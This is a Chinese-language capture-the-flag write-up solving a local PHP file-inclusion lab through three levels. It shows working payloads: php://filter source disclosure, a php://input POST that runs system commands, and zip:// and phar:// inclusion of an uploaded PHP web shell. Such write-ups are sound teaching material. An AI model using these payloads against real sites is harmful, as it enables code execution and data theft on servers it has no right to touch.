文件包含伪协议靶场WP

靶场地址:cainiaovsc/gs-include-ctf

Less-1

进入页面发现有个传参点,包含了一个php文件

提示flag在当前目录,尝试包含flag

1
?page=flag

提示:include success!!并没有显示flag内容

可能flag是一个可以被解析的php代码

尝试使用filter伪协议获取源码

1
?page=php://filter/read=convert.base64-encode/resource=flag

获取到遗传base64加密后的值,我们来进行解密

1
2
3
4
<?php
$flag = "flag{be4402d1f8dd451d98772fd50f6eee85}";
echo "include success!!";
?>

提交成功来到第二关

Less-2

继续直接尝试包含flag

1
?page=flag

发现被过滤掉了,并且页面提示allow_url_include:on

可以使用php://input伪协议远程包含木马,使用hackbar或者bp抓包修改请求方法为POST

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /less2/less2.php?page=php://input HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

<?php system("type flag");?>

成功拿到flag进入第三关

(这里如果allow_url_fopen开着也可以使用data伪协议)

less-3

页面上有一个上传压缩包的点,我们写一个shell.php

1
<?php system("type flag");?>

然后将这个文件压缩,并上传

尝试访问一下,可以下载

尝试使用zip伪协议或者phar伪协议

1
2
# %23为#的url编码,避免被歧义成锚点,所以使用%23
?page=zip://uploads/680f5d2ecaf264.87370789.zip%23info.php

或者

1
?page=phar://uploads/680f5d2ecaf264.87370789.zip/info.php

提交成功,完成通关!

代码写的很拉,就是想验证写个小靶场来验证一下伪协议,感谢大家的支持